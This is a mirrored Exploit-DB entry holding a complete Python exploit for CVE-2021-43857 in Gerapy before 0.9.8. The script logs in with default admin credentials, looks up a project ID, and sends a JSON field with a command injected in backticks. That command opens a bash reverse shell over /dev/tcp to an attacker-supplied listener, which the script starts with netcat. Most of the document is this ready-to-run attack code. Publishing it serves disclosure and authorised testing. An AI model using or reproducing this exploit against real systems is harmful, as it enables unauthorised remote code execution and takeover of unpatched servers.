Gerapy 0.9.7 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Jeremiasz Pluta
    日期: 2022-01-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50640/
  • # Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
    # Date: 03/01/2022
    # Exploit Author: Jeremiasz Pluta
    # Vendor Homepage: https://github.com/Gerapy/Gerapy
    # Version: All versions of Gerapy prior to 0.9.8
    # CVE: CVE-2021-43857
    # Tested on: Gerapy 0.9.6
    
    # Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.
    
    #!/usr/bin/python
    import sys
    import re
    import argparse
    import pyfiglet
    import requests
    import time
    import json
    import subprocess
    
    banner = pyfiglet.figlet_format("CVE-2021-43857")
    print(banner)
    print('Exploit for CVE-2021-43857')
    print('For: Gerapy < 0.9.8')
    
    login = "admin" #CHANGE ME IF NEEDED
    password = "admin" #CHANGE ME IF NEEDED
    
    class Exploit:
    
    	def __init__(self, target_ip, target_port, localhost, localport):
    		self.target_ip = target_ip
    		self.target_port = target_port
    		self.localhost = localhost
    		self.localport = localport
    
    	def exploitation(self):
    		payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""
    
    		#Login to the app (getting auth token)
    		url = "http://" + target_ip + ":" + target_port
    		r = requests.Session()
    		print("[*] Resolving URL...")
    		r1 = r.get(url)
    		time.sleep(3)
    		print("[*] Logging in to application...")
    		r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
    		time.sleep(3)
    		if (r2.status_code == 200):
    			print('[*] Login successful! Proceeding...')
    		else:
    			print('[*] Something went wrong!')
    			quit()
    
    		#Create a header out of auth token (yep, it's bad as it looks)
    		dict = json.loads(r2.text)
    		temp_token = 'Token '
    		temp_token2 = json.dumps(dict['token']).strip('"')
    		auth_token = {}
    		auth_token['Authorization'] = temp_token + temp_token2
    
    		#Get the project list
    		print("[*] Getting the project list")
    		r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)
    		time.sleep(3)
    
    		if (r3.status_code != 200):
    			print("[!] Something went wrong! Maybe the token is corrupted?")
    			quit();
    
    		#Parse the project name for a request (yep, it's worse than earlier)
    		dict = r3.text # [{'name': 'test'}]
    		dict2 = json.dumps(dict)
    		dict3 = json.loads(dict2)
    		dict3 = json.loads(dict3)
    		name = dict3[0]['name']
    		print("[*] Found project: " + name)
    
    		#use the id to check the project
    		print("[*] Getting the ID of the project to build the URL")
    		r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
    		time.sleep(3)
    		if (r4.status_code != 200):
    			print("[*] Something went wrong! I can't reach the found project!")
    			quit();
    
    		#format the json to dict
    		dict = r4.text
    		dict2 = json.dumps(dict)
    		dict3 = json.loads(dict2)
    		dict3 = json.loads(dict3)
    		id = dict3['id']
    		print("[*] Found ID of the project: ", id)
    		time.sleep(1)
    
    		#netcat listener
    		print("[*] Setting up a netcat listener")
    		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
    		time.sleep(3)
    
    		#exec the payload
    		print("[*] Executing reverse shell payload")
    		print("[*] Watchout for shell! :)")
    		r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
    		listener.wait()
    
    		if (r5.status_code == 200):
    			print("[*] It worked!")
    			listener.wait()
    		else:
    			print("[!] Something went wrong!")
    			listener.terminate()
    
    def get_args():
    	parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
    	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
    	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
    	parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
    	parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
    	args = parser.parse_args()
    	return args
    
    args = get_args()
    target_ip = args.url
    target_port = args.target_port
    localhost = args.localhost
    localport = args.localport
    
    exp = Exploit(target_ip, target_port, localhost, localport)
    exp.exploitation()